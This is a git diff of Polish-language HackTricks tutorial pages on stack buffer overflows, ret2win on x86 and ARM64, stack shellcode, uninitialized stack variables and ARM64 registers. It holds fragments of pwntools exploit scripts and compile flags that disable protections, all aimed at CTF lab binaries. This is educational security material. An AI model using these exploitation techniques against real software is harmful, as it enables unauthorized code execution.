Podczas przepełnienia (przy założeniu, że rozmiar przepełnienia jest wystarczająco duży) będziesz mógł **nadpisać** wartości zmiennych lokalnych na stosie aż do osiągnięcia zapisanych **EBP/RBP i EIP/RIP (lub nawet więcej)**.\
Najczęstszym sposobem wykorzystania tego rodzaju podatności jest **modyfikacja adresu powrotu**, aby po zakończeniu funkcji **przepływ sterowania został przekierowany w miejsce wskazane przez użytkownika** w tym wskaźniku.
Najczęstszym sposobem wykorzystania tego rodzaju podatności jest **modyfikacja adresu powrotu**, więc gdy funkcja się kończy, **przepływ sterowania zostanie przekierowany w miejsce, które użytkownik określił** w tym wskaźniku.
Jednakże, w innych scenariuszach może być wystarczające jedynie **nadpisanie wartości niektórych zmiennych na stosie** dla eksploatacji (jak w łatwych wyzwaniach CTF).
@ -91,9 +91,17 @@ Ta technika stanowi podstawową strukturę do obejścia głównej ochrony poprze
[rop-return-oriented-programing](../rop-return-oriented-programing/)
{% endcontent-ref %}
## Przepełnienia sterty
Przepełnienie nie zawsze musi wystąpić na stosie, może również wystąpić w **stercie**, na przykład:
{% content-ref url="../heap/heap-overflow.md" %}
[heap-overflow.md](../heap/heap-overflow.md)
{% endcontent-ref %}
## Rodzaje zabezpieczeń
Istnieje kilka zabezpieczeń próbujących zapobiec wykorzystaniu podatności, sprawdź je:
Istnieje kilka zabezpieczeń próbujących zapobiec eksploatacji podatności, sprawdź je tutaj:
{% content-ref url="../common-binary-protections-and-bypasses/" %}
[common-binary-protections-and-bypasses](../common-binary-protections-and-bypasses/)

View file

@ -46,7 +46,7 @@ gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
* `-m32`: Skompiluj program jako 32-bitowy binarny (to jest opcjonalne, ale częste w wyzwaniach CTF).
* `-fno-stack-protector`: Wyłącz zabezpieczenia przed przepełnieniem stosu.
* `-z execstack`: Pozwól na wykonanie kodu ze stosu.
* `-no-pie`: Wyłącz wykonywalne pliki o pozycji niezależnej, aby zapewnić, że adres funkcji `win` nie zmieni się.
* `-no-pie`: Wyłącz wykonywalny plik o pozycji niezależnej, aby zapewnić, że adres funkcji `win` nie zmieni się.
* `-o vulnerable`: Nazwij plik wyjściowy `vulnerable`.
### Wykorzystanie exploitu w Pythonie za pomocą Pwntools
@ -71,7 +71,7 @@ payload = b'A' * 68 + win_addr
p.sendline(payload)
p.interactive()
```
Aby znaleźć adres funkcji `win`, możesz użyć **gdb**, **objdump** lub innego narzędzia umożliwiającego inspekcję plików binarnych. Na przykład, z `objdump` możesz użyć:
Aby znaleźć adres funkcji `win`, możesz użyć **gdb**, **objdump** lub innego narzędzia umożliwiającego inspekcję plików binarnych. hNa przykład, z `objdump`, możesz użyć:
```sh
objdump -d vulnerable | grep win
```
@ -82,9 +82,9 @@ Skrypt w języku Python wysyła starannie spreparowaną wiadomość, która po p
## Zabezpieczenia
* [**PIE**](../../common-binary-protections-and-bypasses/pie/) **powinno być wyłączone** aby adres był niezawodny w kolejnych wykonaniach, w przeciwnym razie adres, pod którym będzie przechowywana funkcja, nie będzie zawsze taki sam i będzie potrzebny jakiś wyciek, aby ustalić, gdzie jest załadowana funkcja `win`. W niektórych przypadkach, gdy funkcja powodująca przepełnienie to `read` lub podobna, można dokonać **Częściowego Nadpisania** 1 lub 2 bajtami, aby zmienić adres powrotu na funkcję `win`. Ze względu na działanie ASLR, ostatnie trzy heksadecymalne cyfry nie są losowo generowane, więc istnieje **1/16 szansa** (1 cyfra) na uzyskanie poprawnego adresu powrotu.
* [**Canary na stosie**](../../common-binary-protections-and-bypasses/stack-canaries/) powinno być również wyłączone, w przeciwnym razie skompromitowany adres powrotu EIP nigdy nie zostanie wykonany.
* [**Canary na Stosie**](../../common-binary-protections-and-bypasses/stack-canaries/) powinno być również wyłączone, w przeciwnym razie skompromitowany adres powrotu EIP nigdy nie zostanie wykonany.
## Inne przykłady i odnośniki
## Inne przykłady i Odnośniki
* [https://ir0nstone.gitbook.io/notes/types/stack/ret2win](https://ir0nstone.gitbook.io/notes/types/stack/ret2win)
* [https://guyinatuxedo.github.io/04-bof\_variable/tamu19\_pwn1/index.html](https://guyinatuxedo.github.io/04-bof\_variable/tamu19\_pwn1/index.html)
@ -105,6 +105,10 @@ Skrypt w języku Python wysyła starannie spreparowaną wiadomość, która po p
* Program sprawdza tylko ostatni bajt liczby, aby sprawdzić rozmiar wejścia, dlatego można dodać dowolny rozmiar, o ile ostatni bajt mieści się w dozwolonym zakresie. Następnie wejście powoduje przepełnienie bufora wykorzystane z ret2win.
* [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/)
* 64 bity, relro, brak canary, nx, pie. Częściowe nadpisanie w celu wywołania funkcji win (ret2win)
* [https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/](https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/)
* arm64, PIE, ujawnia wyciek PIE, funkcja win to tak naprawdę 2 funkcje, więc gadżet ROP, który wywołuje 2 funkcje
* [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/)
* ARM64, off-by-one do wywołania funkcji win
## Przykład ARM64
@ -122,6 +126,6 @@ Inne sposoby wsparcia HackTricks:
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -9,7 +9,7 @@ Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
@ -57,7 +57,7 @@ run
```
<figure><img src="../../../.gitbook/assets/image (1202).png" alt=""><figcaption></figcaption></figure>
arm64 spróbuje powrócić do adresu w rejestrze x30 (który został skompromitowany), możemy go wykorzystać do znalezienia przesunięcia wzorca:
arm64 spróbuje powrócić do adresu w rejestrze x30 (który został skompromitowany), możemy tego użyć do znalezienia przesunięcia wzorca:
```bash
pattern search $x30
```
@ -93,7 +93,7 @@ Następnie: **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`**
## Brak PIE
### Regularne
### Regular
Uzyskaj adres funkcji **`win`**:
```bash
@ -121,9 +121,11 @@ p.send(payload)
print(p.recvline())
p.close()
```
### Off-by-2
<figure><img src="../../../.gitbook/assets/image (1208).png" alt="" width="375"><figcaption></figcaption></figure>
Zamiast nadpisywać cały adres powrotu, nadpiszemy **tylko ostatnie 2 bajty** wartością `0x06c4`.
### Off-by-1
W rzeczywistości będzie to bardziej off-by-2 w przechowywanym PC na stosie. Zamiast nadpisywać cały adres powrotu, nadpiszemy **tylko ostatnie 2 bajty** wartością `0x06c4`.
```python
from pwn import *
@ -145,15 +147,17 @@ p.close()
```
<figure><img src="../../../.gitbook/assets/image (1209).png" alt="" width="375"><figcaption></figcaption></figure>
Możesz znaleźć kolejny przykład błędu o jedno miejsce w ARM64 w [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), który jest rzeczywistym błędem o jedno miejsce w fikcyjnej podatności.
## Z PIE
{% hint style="success" %}
Skompiluj binarny **bez argumentu `-no-pie`**
{% endhint %}
### Off-by-2
### O jedno miejsce
Bez wycieku nie znamy dokładnego adresu funkcji wygrywającej, ale możemy poznać przesunięcie funkcji od binarnego pliku i wiedząc, że adres powrotu, który nadpisujemy, już wskazuje na bliski adres, jest możliwe wycieknięcie przesunięcia do funkcji wygrywającej (**0x7d4**) w tym przypadku i po prostu użyć tego przesunięcia:
Bez wycieku nie znamy dokładnego adresu funkcji wygrywającej, ale możemy poznać przesunięcie funkcji od binarnego i wiedząc, że adres powrotu, który nadpisujemy, już wskazuje na bliski adres, jest możliwe wycieknięcie przesunięcia do funkcji wygrywającej (**0x7d4**) w tym przypadku i po prostu użyć tego przesunięcia:
<figure><img src="../../../.gitbook/assets/image (1210).png" alt="" width="563"><figcaption></figcaption></figure>
```python

View file

@ -1,4 +1,4 @@
# Kod Shellcode na Stosie
# Kod Shellcode na stosie
<details>
@ -9,16 +9,16 @@ Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
## Podstawowe Informacje
## Podstawowe informacje
**Kod shellcode na stosie** to technika używana w **eksploatacji binarnej**, gdzie atakujący zapisuje shellcode do stosu podatnego programu, a następnie modyfikuje **Wskaźnik Instrukcji (IP)** lub **Rozszerzony Wskaźnik Instrukcji (EIP)**, aby wskazywał na lokalizację tego shellcode, co powoduje jego wykonanie. Jest to klasyczna metoda używana do uzyskania nieautoryzowanego dostępu lub wykonania dowolnych poleceń na systemie docelowym. Oto rozbudowany opis procesu, w tym prosty przykład w języku C i sposób napisania odpowiadającego exploitu przy użyciu Pythona z **pwntools**.
**Kod shellcode na stosie** to technika używana w **eksploatacji binarnej**, gdzie atakujący zapisuje shellcode do stosu podatnego programu, a następnie modyfikuje **Wskaźnik Instrukcji (IP)** lub **Rozszerzony Wskaźnik Instrukcji (EIP)**, aby wskazywał na lokalizację tego shellcode, powodując jego wykonanie. Jest to klasyczna metoda używana do uzyskania nieautoryzowanego dostępu lub wykonania dowolnych poleceń na systemie docelowym. Oto rozbudowanie procesu, w tym prosty przykład w języku C i sposób napisania odpowiadającego exploitu przy użyciu Pythona z **pwntools**.
### Przykład w języku C: Podatny Program
### Przykład w języku C: Podatny program
Zacznijmy od prostego przykładu podatnego programu w języku C:
```c
@ -40,16 +40,16 @@ Ten program jest podatny na przepełnienie bufora ze względu na użycie funkcji
### Kompilacja
Aby skompilować ten program, wyłączając różne zabezpieczenia (aby zasymulować środowisko podatne na ataki), można użyć poniższej komendy:
Aby skompilować ten program wyłączając różne zabezpieczenia (aby zasymulować środowisko podatne na ataki), możesz użyć poniższej komendy:
```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```
* `-fno-stack-protector`: Wyłącza ochronę stosu.
* `-z execstack`: Sprawia, że stos jest wykonywalny, co jest konieczne do wykonania shellcode przechowywanego na stosie.
* `-no-pie`: Wyłącza wykonywalne niezależne od pozycji, ułatwiając przewidywanie adresu pamięci, w którym znajdzie się nasz shellcode.
* `-m32`: Kompiluje program jako wykonywalny 32-bitowy, często używany ze względu na prostotę w tworzeniu exploitów.
* `-no-pie`: Wyłącza wykonywalność niezależną od pozycji, ułatwiając przewidywanie adresu pamięci, w którym będzie znajdować się nasz shellcode.
* `-m32`: Kompiluje program jako wykonywalny 32-bitowy plik, często używany ze względu na prostotę w rozwijaniu exploitów.
### Python Exploit z użyciem Pwntools
### Python Exploit using Pwntools
Oto jak można napisać exploit w Pythonie, korzystając z **pwntools**, aby przeprowadzić atak **ret2shellcode**:
```python
@ -84,8 +84,8 @@ Ten skrypt konstruuje ładunek składający się z **slajdu NOP**, **kodu powło
## Protections
* [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) **powinien być wyłączony**, aby adres był niezawodny podczas kolejnych wykonan lub adres, pod którym będzie przechowywana funkcja, nie będzie zawsze taki sam, i będziesz potrzebować wycieku, aby dowiedzieć się, gdzie jest załadowana funkcja win.
* [**Canary na stosie**](../../common-binary-protections-and-bypasses/stack-canaries/) powinien być również wyłączony, w przeciwnym razie skompromitowany adres powrotu EIP nie zostanie nigdy wykonany.
* [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) **powinien być wyłączony**, aby adres był niezawodny podczas kolejnych wykonan lub adres, pod którym będzie przechowywana funkcja, nie będzie zawsze taki sam i będziesz potrzebować wycieku, aby dowiedzieć się, gdzie jest załadowana funkcja win.
* [**Kanarki stosu**](../../common-binary-protections-and-bypasses/stack-canaries/) również powinny być wyłączone, w przeciwnym razie skompromitowany adres powrotu EIP nie zostanie nigdy wykonany.
* [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) ochrona **stosu** uniemożliwi wykonanie kodu powłoki wewnątrz stosu, ponieważ ta strefa nie będzie wykonawcza.
## Inne przykłady i odnośniki
@ -97,3 +97,19 @@ Ten skrypt konstruuje ładunek składający się z **slajdu NOP**, **kodu powło
* 32-bitowy, ASLR z wyciekiem adresu stosu, napisz kod powłoki i skocz do niego
* [https://guyinatuxedo.github.io/06-bof\_shellcode/tu18\_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/tu18\_shellaeasy/index.html)
* 32-bitowy, ASLR z wyciekiem adresu stosu, porównanie w celu zapobieżenia wywołaniu exit(), nadpisanie zmiennej wartością, napisz kod powłoki i skocz do niego
* [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
* arm64, brak ASLR, gadżet ROP do sprawienia, że stos będzie wykonawczy i skok do kodu powłoki na stosie
<details>
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -2,7 +2,7 @@
<details>
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
@ -10,24 +10,31 @@ Inne sposoby wsparcia HackTricks:
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
</details>
## Podstawowe informacje
Główna idea polega na zrozumieniu, co dzieje się z **niezainicjowanymi zmiennymi, ponieważ będą one miały wartość, która była już przypisana do pamięci.** Przykład:
Podstawowym pomysłem tutaj jest zrozumienie, co dzieje się z **niezainicjowanymi zmiennymi, ponieważ będą one miały wartość, która była już przypisana do pamięci.** Przykład:
* **Funkcja 1: `initializeVariable`**: Deklarujemy zmienną `x` i przypisujemy jej wartość, powiedzmy `0x1234`. Ta czynność jest podobna do zarezerwowania miejsca w pamięci i umieszczenia w nim określonej wartości.
* **Funkcja 2: `useUninitializedVariable`**: Tutaj deklarujemy inną zmienną `y`, ale nie przypisujemy jej żadnej wartości. W języku C niezainicjowane zmienne nie są automatycznie ustawiane na zero. Zamiast tego zachowują ostatnią wartość przechowywaną na swojej lokalizacji w pamięci.
* **Funkcja 2: `useUninitializedVariable`**: Tutaj deklarujemy inną zmienną `y`, ale nie przypisujemy jej żadnej wartości. W języku C niezainicjowane zmienne nie są automatycznie ustawiane na zero. Zamiast tego zachowują wartość, która była ostatnio przechowywana pod ich adresem pamięci.
Gdy uruchamiamy te dwie funkcje **sekwencyjnie**:
1. W `initializeVariable`, `x` otrzymuje wartość (`0x1234`), zajmując określony adres pamięci.
2. W `useUninitializedVariable`, `y` jest deklarowane, ale nie otrzymuje wartości, więc zajmuje miejsce pamięci bezpośrednio po `x`. Ze względu na brak inicjalizacji `y`, kończy się "dziedziczeniem" wartości z tej samej lokalizacji pamięci używanej przez `x`, ponieważ jest to ostatnia wartość, która tam była.
1. W `initializeVariable`, `x` otrzymuje wartość (`0x1234`), która zajmuje określony adres pamięci.
2. W `useUninitializedVariable`, `y` jest deklarowane, ale nie otrzymuje wartości, więc zajmuje miejsce w pamięci bezpośrednio po `x`. Ze względu na brak inicjalizacji `y`, kończy się "dziedziczeniem" wartości z tego samego miejsca w pamięci używanego przez `x`, ponieważ jest to ostatnia wartość, która tam była.
To zachowanie ilustruje kluczowe pojęcie w programowaniu niskopoziomowym: **Zarządzanie pamięcią jest kluczowe**, a niezainicjowane zmienne mogą prowadzić do nieprzewidywalnego zachowania lub podatności na zagrożenia bezpieczeństwa, ponieważ mogą nieumyślnie przechowywać wrażliwe dane pozostawione w pamięci.
Niezainicjowane zmienne stosu mogą stwarzać kilka zagrożeń dla bezpieczeństwa, takich jak:
* **Ujawnienie danych**: Wrażliwe informacje, takie jak hasła, klucze szyfrowania lub dane osobowe, mogą być ujawnione, jeśli przechowywane są w niezainicjowanych zmiennych, umożliwiając potencjalnie atakującym odczytanie tych danych.
* **Ujawnienie informacji**: Zawartość niezainicjowanych zmiennych może ujawnić szczegóły dotyczące układu pamięci programu lub operacji wewnętrznych, pomagając atakującym w opracowywaniu ukierunkowanych exploitów.
* **Awarie i niestabilność**: Operacje związane z niezainicjowanymi zmiennymi mogą prowadzić do niezdefiniowanego zachowania, co może skutkować awariami programu lub nieprzewidywalnymi wynikami.
* **Wykonywanie arbitralnego kodu**: W określonych scenariuszach atakujący mogą wykorzystać te podatności, aby zmienić przebieg wykonania programu, umożliwiając im wykonanie arbitralnego kodu, który może obejmować zagrożenia związane z wykonaniem kodu zdalnego.
### Przykład
```c
#include <stdio.h>
@ -61,5 +68,9 @@ return 0;
#### Jak to działa:
* **Funkcja `initializeAndPrint`**: Ta funkcja deklaruje zmienną całkowitą `initializedVar`, przypisuje jej wartość `100`, a następnie drukuje zarówno adres pamięci, jak i wartość zmiennej. Ten krok jest prosty i pokazuje, jak zachowuje się zmienna zainicjowana.
* **Funkcja `demonstrateUninitializedVar`**: W tej funkcji deklarujemy zmienną całkowitą `uninitializedVar` bez jej inicjalizacji. Gdy próbujemy wydrukować jej wartość, wynik może pokazać losową liczbę. Ta liczba reprezentuje dane, które wcześniej znajdowały się pod tym adresem pamięci. W zależności od środowiska i kompilatora, rzeczywisty wynik może się różnić, a czasami, dla bezpieczeństwa, niektóre kompilatory mogą automatycznie inicjować zmienne na zero, chociaż nie należy polegać na tym.
* **Funkcja `main`**: Funkcja `main` wywołuje obie powyższe funkcje sekwencyjnie, demonstrując różnicę między zainicjowaną zmienną a niezainicjowaną.
* **Funkcja `demonstrateUninitializedVar`**: W tej funkcji deklarujemy zmienną całkowitą `uninitializedVar` bez inicjalizacji. Gdy próbujemy wydrukować jej wartość, wynik może pokazać losową liczbę. Ta liczba reprezentuje dane, które wcześniej znajdowały się pod tym adresem pamięci. W zależności od środowiska i kompilatora, rzeczywisty wynik może się różnić, a czasami, dla bezpieczeństwa, niektóre kompilatory mogą automatycznie inicjować zmienne na zero, chociaż nie należy polegać na tym.
* **Funkcja `main`**: Funkcja `main` wywołuje obie powyższe funkcje sekwencyjnie, demonstrując różnicę między zmienną zainicjowaną i niezainicjowaną.
## Przykład ARM64
To nie zmienia się w ARM64, ponieważ zmienne lokalne są również zarządzane na stosie, możesz [**sprawdzić ten przykład**](https://8ksec.io/arm64-reversing-and-exploitation-part-6-exploiting-an-uninitialized-stack-variable-vulnerability/), gdzie to jest pokazane.

View file

@ -10,7 +10,7 @@ Inne sposoby wsparcia HackTricks:
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
@ -43,9 +43,9 @@ ARM64 ma **31 rejestrów ogólnego przeznaczenia**, oznaczonych jako `x0` do `x3
3. **`x9`** do **`x15`** - Więcej rejestrów tymczasowych, często używanych do zmiennych lokalnych.
4. **`x16`** i **`x17`** - **Rejestry Wywołań Wewnątrzproceduralnych**. Rejestry tymczasowe dla wartości natychmiastowych. Są one również używane do pośrednich wywołań funkcji i osłon PLT (Procedure Linkage Table).
* **`x16`** jest używany jako **numer wywołania systemowego** dla instrukcji **`svc`** w **macOS**.
5. **`x18`** - **Rejestr platformy**. Może być używany jako rejestr ogólnego przeznaczenia, ale na niektórych platformach jest on zarezerwowany dla zastosowań specyficznych dla platformy: wskaźnik do bieżącego bloku środowiska wątków w systemie Windows lub wskaźnik do bieżącej **struktury zadania wykonywanego w jądrze Linux**.
5. **`x18`** - **Rejestr platformy**. Może być używany jako rejestr ogólnego przeznaczenia, ale na niektórych platformach ten rejestr jest zarezerwowany dla zastosowań specyficznych dla platformy: wskaźnik do bieżącego bloku środowiska wątków w systemie Windows lub wskaźnik do bieżącej **struktury zadania wykonywanego w jądrze Linux**.
6. **`x19`** do **`x28`** - Są to rejestry zachowywane przez wywołanego. Funkcja musi zachować wartości tych rejestrów dla swojego wywołującego, dlatego są one przechowywane na stosie i odzyskiwane przed powrotem do wywołującego.
7. **`x29`** - **Wskaźnik ramki** do śledzenia ramki stosu. Gdy tworzona jest nowa ramka stosu, ponieważ wywoływana jest funkcja, rejestr **`x29`** jest **przechowywany na stosie** a nowy adres ramki (**adres `sp`**) jest **przechowywany w tym rejestrze**.
7. **`x29`** - **Wskaźnik ramki** do śledzenia ramki stosu. Gdy tworzona jest nowa ramka stosu, ponieważ wywoływana jest funkcja, rejestr **`x29`** jest **przechowywany na stosie** a nowy adres wskaźnika ramki (**adres `sp`**) jest **przechowywany w tym rejestrze**.
* Ten rejestr może również być używany jako **rejestr ogólnego przeznaczenia**, chociaż zazwyczaj jest używany jako odniesienie do **zmiennych lokalnych**.
8. **`x30`** lub **`lr`** - **Rejestr łącza**. Przechowuje **adres powrotu** po wykonaniu instrukcji `BL` (Branch with Link) lub `BLR` (Branch with Link to Register), przechowując wartość **`pc`** w tym rejestrze.
* Może być również używany jak każdy inny rejestr.
@ -53,7 +53,7 @@ ARM64 ma **31 rejestrów ogólnego przeznaczenia**, oznaczonych jako `x0` do `x3
9. **`sp`** - **Wskaźnik stosu**, używany do śledzenia góry stosu.
* wartość **`sp`** powinna zawsze być zachowana co najmniej z **wyrównaniem na kwadro-słowo**, w przeciwnym razie może wystąpić wyjątek wyrównania.
10. **`pc`** - **Licznik programu**, który wskazuje na następną instrukcję. Ten rejestr może być aktualizowany tylko poprzez generowanie wyjątków, zwracanie wyjątków i skoki. Jedynymi zwykłymi instrukcjami, które mogą odczytać ten rejestr, są instrukcje skoku z linkiem (BL, BLR) do przechowywania adresu **`pc`** w rejestrze **`lr`** (Rejestr łącza).
11. **`xzr`** - **Rejestr zerowy**. Nazywany również **`wzr`** w swojej formie rejestru 32-bitowego. Może być używany do łatwego uzyskania wartości zerowej (częsta operacja) lub do wykonywania porównań za pomocą **`subs`** jak **`subs XZR, Xn, #10`** przechowując wynikowe dane nigdzie (w **`xzr`**).
11. **`xzr`** - **Rejestr zerowy**. Nazywany również **`wzr`** w swojej formie rejestru **32**-bitowego. Może być używany do łatwego uzyskania wartości zerowej (częsta operacja) lub do wykonywania porównań za pomocą **`subs`** jak **`subs XZR, Xn, #10`** przechowując wynikowe dane nigdzie (w **`xzr`**).
Rejestry **`Wn`** to wersja **32-bitowa** rejestru **`Xn`**.
@ -62,10 +62,10 @@ Rejestry **`Wn`** to wersja **32-bitowa** rejestru **`Xn`**.
Ponadto istnieje kolejnych **32 rejestry o długości 128 bitów**, które można używać w zoptymalizowanych operacjach jednoczesnego przetwarzania wielu danych (SIMD) i do wykonywania obliczeń zmiennoprzecinkowych. Są one nazywane rejestrami Vn, chociaż mogą również działać w trybie **64**-bitowym, **32**-bitowym, **16**-bitowym i **8**-bitowym, a wtedy są nazywane **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** i **`Bn`**.
### Rejestry systemowe
**Istnieje setki rejestrów systemowych**, zwanych również rejestrami specjalnego przeznaczenia (SPR), które są używane do **monitorowania** i **kontroli** zachowania **procesorów**.\
**Istnieje setki rejestrów systemowych**, zwanych również rejestrami specjalnego przeznaczenia (SPR), które są używane do **monitorowania** i **kontrolowania** zachowania **procesorów**.\
Mogą być odczytywane lub ustawiane tylko za pomocą dedykowanej specjalnej instrukcji **`mrs`** i **`msr`**.
Specjalne rejestry **`TPIDR_EL0`** i **`TPIDDR_EL0`** są często spotykane podczas inżynierii wstecznej. Przyrostek `EL0` wskazuje na **minimalny wyjątek**, z którego można uzyskać dostęp do rejestru (w tym przypadku EL0 to zwykły poziom wyjątku (uprzywilejowanie), z którym uruchamiane są zwykłe programy).\
